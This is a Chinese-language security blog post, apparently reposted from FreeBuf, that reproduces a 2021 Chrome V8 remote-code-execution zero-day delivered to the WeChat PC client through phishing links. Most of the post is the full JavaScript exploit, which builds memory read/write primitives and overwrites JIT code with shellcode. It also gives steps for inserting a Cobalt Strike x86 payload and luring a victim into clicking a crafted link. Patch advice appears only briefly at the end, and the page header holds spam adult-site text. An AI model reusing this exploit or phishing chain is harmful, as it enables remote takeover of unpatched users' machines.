压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Chrome-0day引發(fā)的一波蝴蝶效應(yīng)

0x00 前言

近日Chrome爆出0day在安全圈內(nèi)掀起了一大波浪潮,恰好又正處攻防演練期間,這讓紅藍(lán)雙方之間的對抗凸顯的異常精彩。隨后各大安全論壇、公眾號也隨即更新了此次漏洞的利用過程,筆者秉承著學(xué)習(xí)的心態(tài),復(fù)現(xiàn)了此次Chrome-0day引發(fā)的微信釣魚事件。其中如有紕漏,請各位大佬留言指正。

0x01 漏洞利用條件

1.本次漏洞是由Chrome瀏覽器引起的遠(yuǎn)程代碼執(zhí)行,由于Chrome本身是存在沙箱的,想要利用此次漏洞,條件還是比較苛刻的。如果想要復(fù)現(xiàn)需提前關(guān)閉Chrome中沙箱(-no-sandbox)。

CMD下運行以下代碼,關(guān)閉沙箱: 
C:\Users\XXX\AppData\Local\Google\Chrome\Application\chrome.exe -no-sandbox

2.由于微信中默認(rèn)使用Chrome內(nèi)核,且沙箱處于關(guān)閉狀態(tài),如下圖所示。所以攻擊者可以使用微信發(fā)送精心偽造的釣魚鏈接,誘使用戶點擊從而觸發(fā)隱藏在鏈接中的shellcode。

1618815356_607d297cd1ca40708e63b.png!small?1618815353926

0x02 漏洞利用過程

1.利用網(wǎng)上流傳的Poc并替換shellcode代碼實現(xiàn)CS遠(yuǎn)程上線。

注意:Poc使用要與微信版本對應(yīng),否則無法上線。

Poc如下:

ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [      ];//shellcode替換成自己的 注意是x86的
function print(data)
{
}

var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();


    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

1618817146_607d307ad2947d6014056.png!small?1618817143821

2.CS創(chuàng)建監(jiān)聽器

1618851107_607db523d0477bbc24b12.png!small?1618851106736

監(jiān)聽器創(chuàng)建成功

1618851201_607db5813f1d678eef8a0.png!small?1618851200099

3.CS生成C格式Paylaod

1618848702_607dabbe5c6ce49886747.png!small?1618848701363

這里不勾選X64,因為微信PC端處理器為X86。

1618851236_607db5a4972eef7bdc88b.png!small?1618851235521

將生成的C文件,替換到上述shellcode數(shù)組中,如下圖所示:

1618849790_607daffe54b149876116a.png!small?1618849789312

4.本地搭建測試環(huán)境,微信點擊鏈接CS上線

1618851041_607db4e1a5e53b05fcd5d.png!small?1618851040600

0x03 修復(fù)建議

1.Chrome官方已經(jīng)對本次漏洞進(jìn)行修補,請升級到最新的Chrome版本。

2.微信同時也發(fā)布了3.2.1.143最新版本,請大家及時下載更新。

0x04 總結(jié)

歸根結(jié)底本次漏洞利用了Chrome瀏覽器遠(yuǎn)程代碼執(zhí)行,理論上來講,所有使用Chrome內(nèi)核,且關(guān)閉沙箱的軟件都有可能被攻擊者利用。筆者在復(fù)現(xiàn)的過程中,看到了某實驗室寫到的一篇文章利用appscan掃描器(使用Chrome內(nèi)核進(jìn)行爬取)CS上線,有興趣的同學(xué)可以自行搜索學(xué)習(xí)。

本次漏洞復(fù)現(xiàn)較為簡單,筆者本著學(xué)習(xí)的心態(tài)復(fù)現(xiàn)了此漏洞,希望與大家共同探討學(xué)習(xí),如復(fù)現(xiàn)過程中遇到任何問題,可以在評論區(qū)下方留言,筆者會和大家一起探討解決。朋友們我們下次再見!

聲明:由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),文章作者不為此承擔(dān)任何責(zé)任。

來源:FreeBuf.COM

上一篇:強強聯(lián)合 | 攜手中國電信研究院 持續(xù)賦能軟件供應(yīng)鏈安全

下一篇:幽靈漏洞新變種,威脅英特爾和AMD處理器預(yù)計影響數(shù)十億電腦